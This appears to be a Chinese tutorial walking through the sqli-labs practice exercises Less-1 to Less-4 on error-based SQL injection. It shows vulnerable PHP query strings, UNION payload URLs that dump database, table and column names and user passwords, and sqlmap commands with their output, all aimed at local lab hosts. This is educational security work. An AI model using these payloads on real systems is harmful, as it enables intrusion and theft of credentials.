文章目录
内容
MySQL注入天书 Less1 - Less4
都为Error-Based类型的SQL注入
手工注入##########
正常操作
输入一个参数id,返回两个参数,说明SELECT的至少有username和password两个字段,存放这两个字段的表至少有三个字段id, username, password
注入点判断
Less1中
单引号判断在id处有注入点
报错信息中一共5个单引号
说明在查询的代码中将传过来的id值作为字符型值拼接SQL语句
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
实际执行的是
SELECT * FROM users WHERE id='1'' LIMIT 0,1;
类似于
Less2中
加单引号判断的结果为
报错信息中一共三个单引号
说明代码中将传来的id值作为int型值拼接SQL语句
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
实际执行的是
$sql="SELECT * FROM users WHERE id=1' LIMIT 0,1";
类似于
Less3中
加单引号判断的结果为
报错信息中四个单引号+一个右括号+一个单引号
说明查询代码如下
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
实际执行的是
$sql="SELECT * FROM users WHERE id=('1'') LIMIT 0,1";
类似于
Less4中
加单引号并不报错
实际环境中还可能是对单引号做了过滤,所以不要太死板
换双引号试试
一单+三双+右括号+一单
说明对id参数进行了("$id")
的包装
$id = '"' . $id . '"';
// .运算符用于连接
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
如有wumingtest.php代码如下
运行结果为
所以查询代码类似于
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
实际执行的代码是
$sql="SELECT * FROM users WHERE id=("1"") LIMIT 0,1";
报错类似于
ORDER BY
Less1中
使用ORDER BY判断出表中有3个字段
Less2中
只需把Less1的payload的?id=1'
改为?id=1
,最后无需加注释符%23或–+处理单引号(因为没有)
不再赘述
Less3中
Less4中
UNION
使用UNION确定到底SELECT了几个字段
首先用一个非法的id值-1,这样根据id选出来的字段值为空,可显示出UNION SELECT的结果
四个值时报错说明SELECT * FROM tablename WHERE id=...
的 * 只有三个字段
第二个字段选出的值显示到Your Login name
第三个字段选出的值显示到Your Password
爆数据库名
在UNION SELECT的基础上从INFORMATION_SCHEMA数据库中选出数据显示到浏览器上
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(SCHEMA_NAME),3%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23
爆出所有的数据库名
爆表名
查看数据库名为 security 的数据库的所有表
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(TABLE_NAME),3%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=%27security%27%23
爆列名
查看users表的所有列
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,GROUP_CONCAT(COLUMN_NAME),3%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27users%27%23
爆数据
http://127.0.0.1/sqli-labs/Less-1/index.php?id=-1%27UNION%20SELECT%201,username,password%20FROM%20users%20WHERE%20id=10%23
sqlmap##########
注入点探测
sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1"
探测结果
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3020=3020 AND 'oAZJ'='oAZJ
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 1270 FROM(SELECT COUNT(*),CONCAT(0x7162786b71,(SELECT (ELT(1270=1270,1))),0x716a707871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'WDxT'='WDxT
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: id=1' AND SLEEP(5) AND 'jatX'='jatX
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5121' UNION ALL SELECT NULL,NULL,CONCAT(0x7162786b71,0x4664566b5a4663486d686f44494d56744c4171646256596a517257576a7374536778416d68667047,0x716a707871)-- QpmE
---
[11:38:05] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 7-1708
web application technology: Apache 2.4.6, PHP 5.4.16
back-end DBMS: MySQL >= 5.0
爆数据库名
sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" --dbs
爆表名
sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" -D security --tables
爆列名+数据
sqlmap -u "192.168.1.25/sqli-labs/Less-1/index.php?id=1" -D security -T users --dump
总结##########
Error-Based类型注入的基本特征
- 浏览器可以看到回显的SQL报错信息以及数据库中的信息来调整自己的payload
- 通常可由单双引号个数不匹配的报错信息判断注入点以及服务器对数据的处理方式